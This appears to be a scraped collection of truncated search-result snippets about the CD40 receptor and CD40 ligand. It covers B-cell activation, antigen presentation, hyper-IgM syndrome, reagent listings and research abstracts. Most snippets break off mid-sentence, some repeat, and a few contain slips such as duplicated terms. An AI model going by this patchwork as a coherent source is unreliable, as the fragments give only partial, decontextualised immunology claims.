Antigens that activate B cells with the help of T-cell are known as T cell-dependent (TD) antigens and include foreign proteins ... CD40L serves as a necessary co-stimulatory factor for B cell activation by binding the B cell surface receptor CD40, which ... Antigens that activate B cells without T cell help are known as T cell-independent (TI) antigens and include foreign ... As with TD antigens, B cells activated by TI antigens need additional signals to complete activation, but instead of receiving ...
de la Fuente MA, Pizcueta P, Nadal M, Bosch J, Engel P (September 1997). "CD84 leukocyte antigen is a new member of the Ig ... CD83 expression correlates with rate of activation of B lymphocytes and it is under control of the B cell receptor, CD40, or ... and antigen-specific T cell responses". Journal of Immunology. 168 (1): 197-206. doi:10.4049/jimmunol.168.1.197. PMID 11751963 ... "Activated T cells induce rapid CD83 expression on B cells by engagement of CD40". Immunology Letters. 136 (2): 221-227. doi: ...
Bishop, Gail A. (2003-06-01). "The CD40-CD154 interaction in B cell-T cell liaisons". Cytokine & Growth Factor Reviews. 14 (3-4 ... become activated in vitro and serve as antigen-presenting cells. B cell immunotherapy presents a promising alternative to using ... "CD40 and autoimmunity: the dark side of a great activator". Seminars in Immunology. 21 (5): 293-300. doi:10.1016/j.smim.2009.05 ...
A B cell is activated by its first encounter with an antigen (its "cognate antigen") that binds to its receptor, resulting in ... It has been shown that BCR signaling is synchronised with CD40 pathway activation provided by B-T cell interactions, and this ... On the other hand, pulling forces delinks the antigen from the BCR, thus testing the quality of antigen binding. The receptor's ... Each B cell, produced in the bone marrow, is highly specific to an antigen. The BCR can be found in a number of identical ...
... is required in addition to the antigen-specific signal from their antigen receptors. T cells require two signals ... It is followed by synthesis and presentation of CD40L (CD154) on the Th2 cell, which binds to CD40 on the B cell, thus the Th2 ... B cell binds antigens with its BCR (a membrane-bound antibody), which transfers intracellular signals to the B cell as well as ... This additional binding makes the B cells 100- to 10,000-fold more sensitive to antigen. CR2 on mature B cells forms a complex ...
"Gadd45 beta mediates the protective effects of CD40 costimulation against Fas-induced apoptosis". Blood. 102 (9): 3270-9. doi: ... and proliferating cell nuclear antigen (PCNA) interacting domains. PCNA impedes MyD118 AND Gadd45-mediated negative growth ...
For instance, IKK2 is found to be mainly responsible for phosphorylating serine 536 in monocytes and macrophages, or in CD40 ... antigen processing, just to name a few . Phosphorylation of RELA at different residues also enables its interaction with CDKs ... 8-Tetrachlorodibenzo-p-dioxin suppresses tumor necrosis factor-alpha and anti-CD40-induced activation of NF-kappaB/Rel in ...
CD120b+Antigen at the US National Library of Medicine Medical Subject Headings (MeSH) v t e v t e (Articles with short ... Hostager BS, Bishop GA (April 2002). "Role of TNF receptor-associated factor 2 in the activation of IgM secretion by CD40 and ... June 2000). "TTRAP, a novel protein that associates with CD40, tumor necrosis factor (TNF) receptor-75 and TNF receptor- ... Tissue Antigens. 53 (6): 527-533. doi:10.1034/j.1399-0039.1999.530602.x. PMID 10395102. Bouwmeester T, Bauch A, Ruffner H, ...
This occurs through the interaction of co-stimulatory molecules including B7 and CD40 on the dendritic cell, with CD28 and CD40 ... An antigen-presenting cell (APC) or accessory cell is a cell that displays antigen bound by major histocompatibility complex ( ... Antigen: protease degradation on YouTube - PMAP animation Antigen-Presenting+Cells at the US National Library of Medicine ... Professional antigen-presenting cells, including macrophages, B cells and dendritic cells, present foreign antigens to helper T ...
DC-like antigen-presenting cells obtained from human induced pluripotent stem cells can serve as a source for vaccination ... Cd40, Cd80, Ctsl, Pax1). In the future, this method may be widely used to enhance immune function and combat Inflammaging in ... Thus, the ability to generate platelet products ex vivo and platelet products lacking HLA antigens in serum-free media would ... January 2013). "Regeneration of human tumor antigen-specific T cells from iPSCs derived from mature CD8(+) T cells". Cell Stem ...
This gene product protein, LMP1, mimics activated human TNF receptors (e.g. CD40, CD40, and RANK) in continuously stimulating ... The EBV+ NK cells express CD56 antigen and are malignant with EBV in its latency II phase. The NK cells expression relatively ... Addition of rituximab, a monoclonal antibody against the CD20 antigen expressed on B cells, may be added to this or other ... The EBV+ large B cells in these lesions often have reduced expression of the CD20 antigen and contain genetic abnormalities ...
Dendritic cells secrete and respond to chemokines after stimulation to LPS, TNFα, or CD40 ligand. In maturing of DC production ... CCL4 is being secreted under mitogenic signals and antigens and hereby acts as a chemoattractant for natural killer cells, ... "Immunomodulatory effects of the HIV-1 gp120 protein on antigen presenting cells: implications for AIDS pathogenesis". ...
Litinskiy MB, Nardelli B, Hilbert DM, He B, Schaffer A, Casali P, Cerutti A (September 2002). "DCs induce CD40-independent ... "BLyS receptor signatures resolve homeostatically independent compartments among naïve and antigen-experienced B cells". ...
The current knowledge on antigen receptor editing both in T cells and B cells is far from complete, but it has an essential ... CD40-induced expression of recombination activating gene (RAG) 1 and RAG2: a mechanism for the generation of autoaggressive T ... T-cell receptor revision (alternative term: antigen receptor editing) is a process in the peripheral immune system which is ... reactivity towards foreign antigens and homeostatic proliferation in response to self-MHC, so-called tonic signaling. The ...
Composition and structure of synaptic ectosomes exporting antigen receptor linked to functional CD40 ligand from helper T cells ... Composition and structure of synaptic ectosomes exporting antigen receptor linked to functional CD40 ligand from helper T cells ... Composition and structure of synaptic ectosomes exporting antigen receptor linked to functional CD40 ligand from helper T cells ... ADAM10 converts CD40 engaged CD40L into soluble trimers (Yacoub et al., 2013), which might release the SE bearing non-CD40 ...
"CD40 Antigens" by people in this website by year, and whether "CD40 Antigens" was a major or minor topic of these publications ... Mutations in the CD40 antigen gene result in HYPER-IGM IMMUNODEFICIENCY SYNDROME, TYPE 3. Signaling of the receptor occurs ... "CD40 Antigens" is a descriptor in the National Library of Medicines controlled vocabulary thesaurus, MeSH (Medical Subject ... Below are the most recent publications written about "CD40 Antigens" by people in Profiles. ...
CD40 antigen. IV/SC. UC. Phase II activec NCT03695185. Spesolimab. IL-36R. IV. CD. UC. Phase II, recruiting. Phase II/III, ...
The CD40LG gene provides instructions for making a protein called CD40 ligand, which is found on the surface of immune system ... CD40 ligand attaches like a key in a lock to its receptor protein, CD40, which is located on the surface of immune system cells ... These mutations lead to the production of an abnormal CD40 ligand or prevent production of this protein. If CD40 ligand does ... the CD40 receptor must interact with CD40 ligand. When these two proteins are connected, they trigger a series of chemical ...
CD40 Antigens / immunology * Cells, Cultured * Guanine Nucleotide Exchange Factors / immunology* * Humans * Immunoglobulin ...
The expression of CD40 is diverse. CD40 is constitutively expressed by antigen presenting cells, including dendritic cells, B ... Banchereau J, Bazan F, Blanchard D, Brière F, Galizzi JP, van Kooten C, Liu YJ, Rousset F, Saeland S (1994). "The CD40 antigen ... The binding of CD154 (CD40L) on TH cells to CD40 activates antigen presenting cells and induces a variety of downstream effects ... CD40 is also expressed on B cell precursors in the bone marrow, and there is some evidence that CD40-CD154 interactions may ...
In fact, in 40% of patients with CVID, the CD40 ligand is expressed in low levels on activated T cells. In these patients, ... A common defect is the response to antigens by CD4+ T lymphocytes. After immunization, some patients with CVID have decreased ... Perhaps the most potent stimulant is the CD40 ligand, which is expressed by activated CD4+ cells. ...
CD40 Antigens * Immunoglobulin A * Immunoglobulin G * Immunoglobulin Heavy Chains * Immunoglobulin M * Immunoglobulin Variable ...
Cd40 (CD40 molecule). Cd40lg (CD40 ligand). Genes (Mus musculus). Cd40 (CD40 antigen). ... and NK cells along with an increased expression of CD40/CD40L/CD80. In addition, WSF also enhanced T cell activation in ...
... the use of CD40 agonist antibody plus antigen showed remarkably rapid immune response and protection in a murine model of ... A number of presentations were focused on the role of CD1 proteins, which present lipid antigens (e.g., from mycobacteria or ... Whole microbes, microbial subunits and extracts, and peptide and protein antigens have been the focus of much vaccine research ... While studies of peptide and protein antigens have been facilitated by the rapid advances in genomics and proteomics, studies ...
CD40, and CD86 [110]. Moreover, DCs pulsed with antigens at low pH values showed an improved efficacy to induce specific ... M. Vermeulen, M. Giordano, A. S. Trevani et al., "Acidosis improves uptake of antigens and MHC class I-restricted presentation ... E. Gottfried, L. A. Kunz-Schughart, S. Ebner et al., "Tumor-derived lactic acid modulates dendritic cell activation and antigen ... Conventional or myeloid dendritic cells (DCs) are highly specialized antigen-presenting cells with a unique ability to prime ...
Cd40. 2. 165055608 to 165071654 16046. +. protein coding gene. CD40 antigen. Tssr21701. 2. 165055625 to 165055661 36. +. TSS ...
CD40/CD40L, and lymphocyte activation-antigen-3 [76]. CD40 is a costimulatory protein found on antigen presenting cells and is ... on Th cells to CD40 activates antigen presenting cells and induces a variety of downstream effects. CD40-ligand (CD-40L) is a ... I. S. Grewal and R. A. Flavel, "The role of CD40 ligand in costimulation and T-cell activation," Immunological Reviews, vol. ... A. Venet, A. J. Hance, C. Saltini, B. W. Robinson, and R. G. Crystal, "Enhanced alveolar macrophage-mediated antigen-induced T- ...
CD40 expression by human monocytes: regulation by cytokines and activation of monocytes by the ligand for CD40. J. Exp. Med. ... Sema4A-deficient mice show defective generation of antigen-specific T cells after immunization with various antigens52. These ... Niiro, H. & Clark, E.A. Regulation of B-cell fate by antigen-receptor signals. Nat. Rev. Immunol. 2, 945-956 (2002). ... Ben-Horin, S. & Bank, I. The role of very late antigen-1 in immune-mediated inflammation. Clin. Immunol. 113, 119-129 (2004). ...
Recombinant Human CD40 ligand (CD40LG) ,partial (Active) from Cusabio. Cat Number: CSB-AP002211HU. USA, UK & Europe ... CD40 Ligand; CD40-L; T-Cell Antigen Gp39; TNF-Related Activation... ... CD40 Ligand; CD40-L; T-Cell Antigen Gp39; TNF-Related Activation... ... Recombinant Human CD40 ligand (CD40LG), partial (Active) , CSB-AP002211HU Cusabio Active Proteins Recombinant Human CD40 ligand ...
Cell surface expression of the λ light chain, surface IgD, CD9, and CD40 antigens was detected in some but not all chimeras. ... Cell surface expression of the λ light chain, surface IgD, CD9, and CD40 antigens was detected in some but not all chimeras. ... Cell surface expression of the λ light chain, surface IgD, CD9, and CD40 antigens was detected in some but not all chimeras. ... Cell surface expression of the λ light chain, surface IgD, CD9, and CD40 antigens was detected in some but not all chimeras. ...
MR1 mAb inhibits in vitro activation of B lymphocytes by T helper cells by blocking interaction of gp39 with CD40. ,/span>,span ... CD154 plays an important role in costimulatory interactions between T and B lymphocytes and between antigen-presenting cells ... MR1 mAb inhibits in vitro activation of B lymphocytes by T helper cells by blocking interaction of gp39 with CD40. ,/span>,span ... CD154 plays an important role in costimulatory interactions between T and B lymphocytes and between antigen-presenting cells ...
Human CD40-Ligand is a recombinant protein optimized for use in cell culture, differentiation studies, and functional assays ... Its receptor CD40 is found on antigen-presenting cells such as B cells, dendritic cells, and macrophages. CD40L-CD40 ... Its receptor CD40 is found on antigen-presenting cells such as B cells, dendritic cells, and macrophages. CD40L-CD40 ... Human CD40-Ligand Multimer Kits. Figure 1. Human CD40-Ligand activity assay:. The specific activity is determined by ...
Co-stimulations of CD40 ligand (CD40L) and cytokines are required for induction of CSR by activating several transcription ... On the other hand, IgG, IgA and IgE are produced by activated antigen-specific B cells via class switch recombination (CSR). ...
Tags: Antibody, Antigen, Biotechnology, Bone, Celiac Disease, Chimerism, Diabetes, Immune System, Ligand, Liposome, Transplant ... This combination therapy of aGC liposome with CD40/40L blockades offers great promise and another approach to induce solid ... for iNKT cells and suboptimal dosage of antibody for that blocks CD40:CD40L signaling as a powerful method to generate mixed ... they were found to be hypo-responsive to allogenic re-stimulation to either donor or host antigens. With mixed chimerism ...
Analysis of the C/T(-1) single nucleotide polymorphism in the CD40 gene in multiple sclerosis. Tissue antigens 2006 Oct 68 (4 ... Query Trace: Encephalomyelitis and CD40[original query] ...
CD40 is expressed on macrophages and other antigen-presenting cells and its agonists stimulate maturation and increase ... expression of cancer testis antigens and mimicry of melanocyte lineage proteins with pathogen-associated antigens (3-5). In ... Wiehagen KR, Girgis NM, Yamada DH, Smith AA, Chan SR, Grewal IS, Quigley M and Verona RI: Combination of CD40 agonism and CSF- ... Feins S, Kong W, Williams EF, Milone MC and Fraietta JA: An introduction to chimeric antigen receptor (CAR) T-cell ...
CD40 ligand is a transmembrane glycoprotein expressed on activated T cells and some other cell types that binds CD40 on B cells ... One must demonstrate deficiency of specific antibody responses to documented infections or vaccine antigens. [8, 9, 10] ... Mutations of CD40 gene cause an autosomal recessive form of immunodeficiency with hyper IgM. Proc Natl Acad Sci U S A. 2001 Oct ... CD40-CD40L interactions are also important in other cell-cell interactions, and patients with mutations in these proteins have ...
Induction of tolerance to innocuous inhaled antigen relies on a CCR7-dependent dendritic cell-mediated antigen transport to the ... Acute lymphoblastic leukaemia cells express CCR7 but not higher amounts of IL-10 after CD40 ligation. Scand J Clin Lab Invest ( ... Antigen-engaged B cells undergo chemotaxis toward the T zone and form motile conjugates with helper T cells. PloS Biol (2005) 3 ... Oral tolerance originates in the intestinal immune system and relies on antigen carriage by dendritic cells. J Exp Med (2006) ...
CD154 is an accessory molecule expressed predominantly on activated CD4,sup,+,/sup, lymphocytes that bind CD40. CD154 plays an ... CD154 is a 39 kD TNF superfamily member also known as CD40 ligand, gp39, T-BAM, TRAP, and Ly-62. ... Antigen References 1. Barclay A, et al. 1997. The Leukocyte Antigen FactsBook Academic Press.. 2. Noelle RJ, et al. 1992. P. ... lymphocytes that bind CD40. CD154 plays an important role in T-B cell costimulation. The MR1 antibody has been reported> ...
CD40 antigen. IV/SC. UC. Phase II activec NCT03695185. Spesolimab. IL-36R. IV. CD. UC. Phase II, recruiting. Phase II/III, ...
The CD48 antigen is a glycosylphosphatidylinositol (GPI)-anchored membrane glycoprotein of 40-47 kDa with 2 extracellular ... CD48 may participate in CD40-mediated activation of B cells.. Clone: J4.57. Isotype: IgG1 Mouse. ...
... and/or differ at minor histocompatibility antigens. HLA antigens can be divided into class I and class II. Class I antigens ( ... At the same time CD4 T cells activate B cells via the CD40/CD40 ligand pathway, which help B cells transform into antibody ... Zero antigen mismatch kidney recipients have a graft half life of 16 years whereas 5 to 6 antigen mismatch recipients have a ... A perfect match using only these antigens would be referred to a 0 antigen mismatch. This is in contrast to a 2 haplo matched ...
  • Members of the tumor necrosis factor receptor superfamily with specificity for CD40 LIGAND. (
  • The CD40LG gene provides instructions for making a protein called CD40 ligand, which is found on the surface of immune system cells known as T cells. (
  • CD40 ligand attaches like a key in a lock to its receptor protein, CD40, which is located on the surface of immune system cells known as B cells. (
  • In order for B cells to mature into the cells that produce antibodies of a different class, the CD40 receptor must interact with CD40 ligand. (
  • CD40 ligand is also necessary for T cells to interact with other cells of the immune system, and it plays a key role in T cell differentiation (the process by which cells mature to carry out specific functions). (
  • These mutations lead to the production of an abnormal CD40 ligand or prevent production of this protein. (
  • If CD40 ligand does not attach to its receptor on B cells, these cells cannot produce IgG, IgA, or IgE antibodies. (
  • CusabioAlternative Name(s): Tumor necrosis factor ligand superfamily member 5 CD_antigen: CD154Gene Names: CD40LGResearch. (
  • CusabioAlternative Name(s): T-cell antigen Gp39 TNF-related activation protein Short name:TRAP Tumor necrosis factor ligand. (
  • Human CD40-Ligand is a recombinant protein optimized for use in cell culture, differentiation studies, and functional assays. (
  • Activity of Human CD40-Ligand, premium grade (red line) was compared to another commercially available product (black line). (
  • The REGiMMUNE paper describes the potential of a novel approach using a ligand (alpha-GalCer(aGC) for iNKT cells and suboptimal dosage of antibody for that blocks CD40:CD40L signaling as a powerful method to generate mixed chimerism. (
  • CD154 is a 39 kD TNF superfamily member also known as CD40 ligand, gp39, T-BAM, TRAP, and Ly-62. (
  • CD40 Ligand (CD40L) is a protein that is primarily expressed on activated T cells and is a member of the tumor necrosis factor superfamily. (
  • Functions of CD40 and Its Ligand, gp39 (CD40L). (
  • CD40 Ligand (CD40L), also known as CD154, TRAP or gp39, is a type II transmembrane glycoprotein belonging to the tumor necrosis factor (TNF) family. (
  • RÉSUMÉ L'objectif de l'étude était d'évaler l'importance clinique du ligand de CD40 soluble (sCD40L) chez des patients atteints d'un carcinome hépatocellulaire (CHC) associé au virus de l'hépatite C (VHC). (
  • CD40 is the receptor for CD40 ligand. (
  • CD40 ligand (CD40L, CD154, gp39, and TRAM) belongs to the TNF gene family and is expressed more widely than CD40 predominantly on activated CD4+ T cells. (
  • Following interaction with CD40 ligand, CD40 mediates a number of major immunoregulatory functions, central to the control of thymus dependent humoral immunity and may be critical in the development of cell mediated immune responses. (
  • IFN-alpha enhances CD40 ligand-mediated activation of immature monocyte-derived dendritic cells. (
  • Extending our earlier observation that type I IFN promote DC maturation, we report that these cytokines also enhance DC differentiation by augmenting CD40 ligand (CD40L)-induced cytokine secretion by MoDC. (
  • CD40 Ligand" is a descriptor in the National Library of Medicine's controlled vocabulary thesaurus, MeSH (Medical Subject Headings) . (
  • This graph shows the total number of publications written about "CD40 Ligand" by people in this website by year, and whether "CD40 Ligand" was a major or minor topic of these publications. (
  • Below are the most recent publications written about "CD40 Ligand" by people in Profiles. (
  • TRAP) is a ligand to CD40/TNFRSF5, acts function by generating a costimulatory signal that up-regulates IL-4 synthesis [1] . (
  • Cytokine that acts as a ligand to CD40/TNFRSF5. (
  • Activation of invariant CD1d-dependent NKT cells (iNKT cells) in vivo through administration of the glycolipid ligand α-galactosylceramide (α-GalCer) or the sphingosine-truncated α-GalCer analog OCH leads to CD40 signaling as well as the release of soluble molecules including type 1 and γ interferons that contribute to DC maturation. (
  • Combined treatment with allogeneic small lymphocytes or T-depleted small lymphocytes plus a blocking antibody to CD40 ligand (CD40L) permitted indefinite pancreatic islet allograft survival in 37 of 40 recipients that differed from islet donors at major and minor histocompatibility loci. (
  • Injection of a lentiviral vector encoding an MHC class I-restricted T cell epitope of lymphocytic choriomeningitis virus (LCMV) and CD40 ligand induced an antigen-specific cytolytic CD8+ T lymphocyte response that protected the mice from infection. (
  • Long-term allograft survival in the absence of continuous immunosuppression can be induced following a short treatment of nondepleting antibodies, such as those that target CD4 or CD154 (CD40 ligand). (
  • CD40L - CD40 ligand is a protein that is primarily expressed on activated T cells and binds to CD40 (protein) on antigen-presenting cells (APC). (
  • Patients with SLE have abnormal T cells with altered activation thresholds and increased expression of co-stimulatory molecules, such as CD40 ligand. (
  • CD40 ligand is a 261 amino acid type II transmembrane glycoprotein belonging to the TNF family and can be cleaved into two chains: the CD40 ligand membrane form and CD40 ligand soluble form. (
  • In total CD40 ligand has three binding partners: CD40, alpha5β1 integrin and alphaIIbβ3. (
  • Monocyte-derived dendritic cells electroporated with mRNA encoding CD70, CD40 ligand, and constitutively active TLR4 (TriMix) as well as the tumor-associated antigens tyrosinase, gp100, MAGE-A3, or MAGE-C2 were administered together with IPI for four cycles. (
  • One such signal is likely to be CD40 ligand (CD40L), as IKK2dn blocked CD40L but not lipopolysaccharide (LPS)-induced NF-kappaB activation, cytokine production, and up-regulation of costimulatory molecules and HLA-DR in DCs. (
  • In macrophages and dendritic cells, engagement of CD40 by its ligand CD154 provides signals critical for anti-microbial and T cell-mediated immune responses, respectively. (
  • CD40 signaling is activated in a T cell-dependent manner, as the ligand for CD40, CD154, is expressed primarily by activated T cells. (
  • Attempts to rescue mesothelioma-derived DC function using CD40 Ligand(L) also failed, indicated by maintenance of antigen-processing capacity and limited upregulation of CD40 , CD83 , CD86 and HLA-DR. These data suggest that mesothelioma patients have significant numerical and functional DC defects and that their reduced capacity to process antigen and reduced expression of costimulatory molecules could induce anergized/tolerized T cells. (
  • In the response to cancers, tumor-specific CD4 + T cells secrete interleukin 2 (IL-2) that maintains the survival and function of tumor-specific CD8 + T cells or upregulating CD40 ligand that matures professional antigen presenting cells (APCs) to activate CD8 + T cells [1, 2]. (
  • It plays an important role in immune response and shares many functions with IL-2, for example, it stimulates the proliferation of activated T cells (1, 2), NK cells (3) and B cells, and it induces immunoglobulin synthesis by B cells stimulated by anti-IgM or CD40 ligand (4). (
  • IL-15 stimulates the proliferation of activated T cells, NK cells, and B cells, inducing immunoglobulin synthesis by B cells stimulated by anti-IgM or CD40 ligand. (
  • CD40 ligand gene defects responsible for X-linked hyper-IgM syndrome. (
  • Molecular and biological characterization of a murine ligand for CD40. (
  • The CD40 ligand, gp39, is defective in activated T cells from patients with X-linked hyper-IgM syndrome. (
  • CD40 is constitutively expressed by antigen presenting cells, including dendritic cells, B cells and macrophages. (
  • There are number of completed and ongoing clinical trials where agonistic anti-CD40 monoclonal antibodies are employed to activate an anti-tumor T cell response via activation of dendritic cells. (
  • To assess the effects of BDE on pulmonary antigen presenting cells (APC), expression of CD80, CD86, CD40 and MHCII class molecules on lung dendritic cells (DC) was evaluated. (
  • Mice transgenic for fluorescent MHC molecules loaded with covalently attached antigenic peptide will be made and used to study synapse formation, function, and accessory molecule requirements between T cells and physiological antigen presenting cells (dendritic cells and B cells) in different states of activation and maturation. (
  • CD40 (48 to 50 kDa) is a transmembrane glycoprotein mainly expressed on the surface of B cells and also expressed on monocytes, dendritic cells, and thymic epithelium. (
  • Dendritic cells (DCs) are the most potent professional antigen-presenting cells (APCs) that connect innate and acquired immunity. (
  • Dendritic cells (DCs), the most potent professional antigen-presenting cells (APCs), play an important role in the initiation and amplification of innate and adaptive immunity. (
  • 16 , 17 , 18 Dendritic cells gradually mature after recognizing and ingesting antigens, and the expression of their surface molecule C-C chemokine receptor type 7 (CCR7) is upregulated. (
  • In contrast to these IDCs that present processed antigen to T ‐ cells, the follicular dendritic cells in germinal centers present intact antigen to B ‐ cells. (
  • These are sometimes described in the literature as immature dendritic cells but the reality is that they are fully able at this stage to carry out the functions required of them, primarily antigen detection and uptake. (
  • Receptors involved in antigen capture, including the mannose receptor, various TLRs, and Fc receptors for both IgG and IgE, are present on these dendritic cells. (
  • Dendritic cells pick up and process antigen. (
  • These exosomes were internalized by bone marrow-derived dendritic cells (BMDC), where they induced production of high amounts of IL-6, IL-10, and IL-12 as well as increased surface expression of CD40. (
  • We compared the HIV-1-specific immune responses generated by targeting HIV-1 envelope protein (Env gp140) to either CD40 or LOX-1, two endocytic receptors on dendritic cells (DCs), in rhesus macaques primed with a poxvirus vector (NYVAC-KC) expressing Env gp140. (
  • An approach to elicit strong protective antibody development is to direct virus protein antigens specifically to dendritic cells, which are now known to be the key cell type for controlling immunity. (
  • In this study, we tested whether preventative and therapeutic vaccination could be achieved by direct injection of antigen-expressing lentiviral vector, obviating the need for ex vivo transduction of dendritic cells. (
  • CD40 is expressed broadly on antigen-presenting cells (APCs) such as dendritic cells, B cells, macrophages, and monocytes as well as non-immune endothelial cells, basal epithelial cells, and a range of tumors. (
  • Autologous dendritic cells (DCs) are genetically modified to express the iCD40 receptor and are pulsed with tumor antigen. (
  • The virus is taken up by dendritic cells, which, after antigen processing, presents it to T cells, leading to immune activation and release of a cascade of cytokines that are believed to mediate the systemic effects of plasma leakage and circulatory insufficiency. (
  • Mechanistic studies revealed that RT/IL-12 increased expression of MHC class II and co-stimulatory molecules CD40 and CD86 on tumor-infiltrating dendritic cells, suggesting an improvement of their antigen presentation activity. (
  • Exosomes, small membrane vesicles of endocytotic origin, have been implicated in intercellular communication processes such as the transfer of tumor cell antigens and the activation of recipient dendritic cells (DC). (
  • This study by MatTek scientists demonstrated that MatTek's Human Dendritic Cells are an excellent in vitro model for use in a wide variety of studies related to allergenicity, microbial infection and transmission, neutralizing antibodies and anti-microbial agents, antigen capture and presentation, innate immunity and immuno-therapy. (
  • Anti-CD40-induced inflammatory E-cadherin+ dendritic cells enhance T cell responses and antitumour immunity in murine Lewis lung carcinoma. (
  • Although dendritic cells (DCs) are the most potent antigen-presenting cells involved in numerous physiologic and pathologic processes, little is known about the signaling pathways that regulate DC activation and antigen-presenting function. (
  • Tumor-infiltrating dendritic cells are often ineffective at presenting tumor-derived antigen in vivo , a defect usually ascribed to the suppressive tumor environment. (
  • Intraperitoneal injection of the anti-CD25 monoclonal antibody PC61 reduced Treg frequency in blood and tumors, but did not affect the frequency of tumor-infiltrating dendritic cells, or their expression of CD40, CD86 and MHCII. (
  • Tumor-infiltrating dendritic cells from PC61-treated or untreated mice induced the proliferation of allogeneic T cells in vitro , but could not induce proliferation of OVA-specific OTI and OTII T cells unless specific peptide antigen was added in culture. (
  • We conclude that the defective presentation of B16.OVA tumor antigen by tumor-infiltrating dendritic cells and in the tumor-draining lymph node is not due to the presence of "natural" CD4 + CD25 + Treg. (
  • They also exhibited significantly higher expression of antigen-presenting molecules: major histocompatibility complex (MHC) I, CD80, MHC II, and CD40 on the surface of the dendritic cells. (
  • Plasmacytoid dendritic cells (pDCs), as well as myeloid dendritic cells (mDCs), possess a dual part not merely in initiating immune system responses but also in inducing tolerance to exogenous and endogenous antigens. (
  • Mature dendritic cells (mDCs) are known as the most potent antigen-presenting cells (APCs) since they are also able to prime/induce naive T cells. (
  • Intro Dendritic cells (DCs) are referred to as the strongest antigen-presenting cells (APCs) because of the unique ability to prime naive T cells. (
  • 9 macrophages also have a central role in innate immunity.10 the interaction between antigen-presenting dendritic cells and T cells activates the adaptive immune response and defines the inflammatory processes of early atherogenesis. (
  • One immunotherapeutic strategy is to target dendritic cells (DCs), key antigen-presenting cells involved in antigen presentation, to induce antigen-specific T cell responses. (
  • The activation of ERK/MAPK pathway also plays a crucial role in regulating cytokine production by the antigen-presenting cells (APCs), namely the macrophages, dendritic cells (DC) and T cells 37,38,39,40,41,42 . (
  • To further study antigen presentation by MG: vaccine conjugates, bone marrow-derived dendritic cells (BMDC) were treated with MG conjugated to ovalbumin (OVA), then interacted with splenocytes from DO11.10 transgenic mice expressing an OVA peptide-specific T cell receptor. (
  • These results show that MG acts as an adjuvant to enhance antigen presentation by dendritic cells to naive, antigen-specific CD4 and CD8 T cells. (
  • We have previously shown that antigen-presenting cells (APC)-macrophages (MP) and dendritic cells (DC)-sustain high replication rates of LV but are not activated, suggesting that they play a role in the immunosuppression observed in severe cases of Lassa fever. (
  • The importance of dendritic cells in presenting antigens to T and B lymphocytes is increasingly recognized. (
  • They are committed to generating dendritic cells, "professional" antigen-presenting cells (APCs). (
  • Effective induction of antigen-specific T cell responses requires interaction between dendritic cells and T lymphocytes to prime the latter cells for expansion and subsequent immune responses. (
  • A combination of the two signals activates the T cell, resulting in upregulation of CD40L expression, which, in turn, can interact with the CD40 receptor expressed on dendritic cells. (
  • Recent insights into the interaction between professional antigen presenting cells, dendritic cells (DCs), and malaria parasites is discussed in detail. (
  • Human prostate tumor vaccine and gene therapy trials using ex vivo methods to prime dendritic cells (DCs) with prostate specific membrane antigen (PSMA) have been somewhat successful, but to date the lengthy ex vivo manipulation of DCs has limited the widespread clinical utility of this approach. (
  • If an activated T cell recognizes the peptide presented by the B cell, the CD40L on the T cell binds to the B cell's CD40 receptor, causing B cell activation. (
  • Antigen is taken up by receptor-mediated endocytosis, digested, and presented to T cells in the context of class II MHC. (
  • Of note, CD40L, together with its receptor CD40, plays a pivotal role in cellular and humoral immunity [1-3]. (
  • In these cells, binding of CD40L to its receptor CD40 triggers a signaling cascade leading to the activation of NF-κB and the subsequent production of SEAP. (
  • The CD40 cytoplasmic domain binds directly to several TNF receptor-associated factors (TRAFs), and this interaction is thought to initiate CD40 signaling. (
  • In addition to the T cell antigen receptor (TCR) and peptide-loaded MHC, dozens of other cell surface molecules play necessary or modulating roles in determining the outcome of the T ceIl/APC interaction. (
  • CD40 is a member of the tumor necrosis factor (TNF) receptor superfamily, which includes the low affinity nerve growth factor (NGF) receptor and CD95/Fas. (
  • both integrins and the CD40 receptor are required for activation of CD40-CD40LG signaling, which have cell-type dependent effects, such as B-cell activation, NF-kappa-B signaling and anti-apoptotic signaling. (
  • The present invention relates to stable formulations of antibodies against human programmed death receptor PD-1, or antigen binding fragments thereof. (
  • The present invention further provides methods for treating various cancers and chronic infections with stable formulations of antibodies against human programmed death receptor PD-1, or antigen binding fragments thereof. (
  • YH003 is a humanized IgG2 agonist antibody targeting the CD40 receptor. (
  • A genetically-modified autologous dendritic cell-based vaccine expressing a drug-inducible costimulatory CD40 receptor (iCD40) with potential immunomodulating and antineoplastic activities. (
  • Additional to the above-mentioned engineered antibody products, chimeric antigen receptor (CAR) products and antibody-drug conjugate (ADC) products are also available at attractive prices. (
  • B cell - adaptive immune cells which arise in the bone marrow and mature in the spleen and/or lymph nodes, are capable of presenting antigen, secrete antibodies and express a B cell receptor. (
  • CAR - Chimeric Antigen Receptor. (
  • In order for a T cell to become activated, it must bind antigen with its T cell receptor (TCR), but this is not sufficient for full activation. (
  • In vivo concentrating on an immunogen to the CD40 receptor expressed on skilled antigen-presenting cells (APCs) dramatically enhances velocity, magnitude, and high quality of the immune response. (
  • Some well-known focuses on in the study books C folate receptor, prostate particular membrane antigen (PSMA), prostate malignancy lipid antigen (PCLA), mucin-1 (MUC-1), and transferrin receptor- experienced limited achievement in human tests because of off-target results and in vivo distribution [128-132]. (
  • Antigen binding to the BCR induces receptor-mediated endocytosis and processing where peptide fragments are presented to T helper cells through MHC class II/TCR interactions. (
  • HOIL-1L Interacting Protein (HOIP) Is Essential for CD40 Signaling HOIP Is Essential for CD40 Signaling Abstract CD40 is a cell surface receptor important in the activation of antigen-presenting cells during immune responses. (
  • CD40 engagement results in the formation of a receptor-associated complex that mediates activation of NF-κB, stress-activated protein kinases, and other signaling molecules. (
  • Known components of the CD40 signaling complex include members of the TNF receptor-associated factor (TRAF) family of proteins. (
  • Members of the TNF receptor-associated factor (TRAF) family, including TRAF1, TRAF2, TRAF3, and TRAF6, appear to be particularly important for the initiation and regulation of CD40 signaling [4]. (
  • These proteins function in part as adaptor molecules, binding to the cytoplasmic tail of CD40 and recruiting other proteins to the receptor-associated complex. (
  • Research on the co-inhibitory receptor CTLA-4 (cytotoxic T-lymphocyte antigen 4) and PD-1 (programmed cell death protein 1) showed significantly improved survival rates of patients with metastatic solid tumors after inhibition of these receptor pathways. (
  • A KIR receptor that has specificity for HLA-B ANTIGENS. (
  • Impact of protective killer inhibitory receptor/human leukocyte antigen genotypes on natural killer cell and T-cell function in HIV-1-infected controllers. (
